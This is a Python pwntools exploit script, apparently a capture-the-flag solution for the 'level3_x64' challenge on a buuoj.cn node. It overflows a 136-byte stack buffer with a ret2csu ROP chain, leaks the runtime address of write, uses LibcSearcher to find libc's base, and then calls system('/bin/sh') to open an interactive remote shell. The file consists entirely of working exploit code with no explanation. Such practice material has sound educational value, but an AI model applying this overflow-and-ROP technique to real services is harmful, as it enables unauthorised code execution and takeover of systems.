from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

# io  = remote('192.168.95.131',10001)
io = remote('node4.buuoj.cn',26162)

elf = ELF('./level3_x64')
pause()

write_got_addr = elf.got["write"]
write_plt_addr = elf.plt["write"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1
_ini_csu_addr_one = 0x00000000004006A6
_ini_csu_addr_tow = 0x0000000000400690
_ini_array_addr = 0x600840


io.recvuntil(b"Input:")
payload = flat(b"A"*136, _ini_csu_addr_one)
payload += flat(0x0, 0x0, 0x1, _ini_array_addr, 0x10, write_got_addr, 0x1, _ini_csu_addr_tow)
payload += flat(0x0, 0x0, 0x1, _ini_array_addr, 0x10, write_got_addr, 0x1, pop_rdi_ret, 0x1, 
                pop_rsi_r15_ret, write_got_addr, 0x0, write_plt_addr, main_addr)

pause()
io.sendline(payload)

print(io.recv())

real_write_addr = io.recv(6)
real_write_addr = real_write_addr.ljust(8, b"\x00")
real_write_addr = u64(real_write_addr)
print("real_write_addr = ", hex(real_write_addr))

libc = LibcSearcher("write", real_write_addr)
libc_base = real_write_addr - libc.dump("write")
real_system_addr = libc_base + libc.dump("system")
real_str_bin_sh_addr = libc_base + libc.dump("str_bin_sh")
print("system_addr = ", real_system_addr)
print("str_bin_sh_addr = ", real_str_bin_sh_addr)


io.recvuntil(b"Input:")
payload = flat(b"A"*136, pop_rdi_ret, real_str_bin_sh_addr, real_system_addr, main_addr)
pause()
io.sendline(payload)

io.interactive()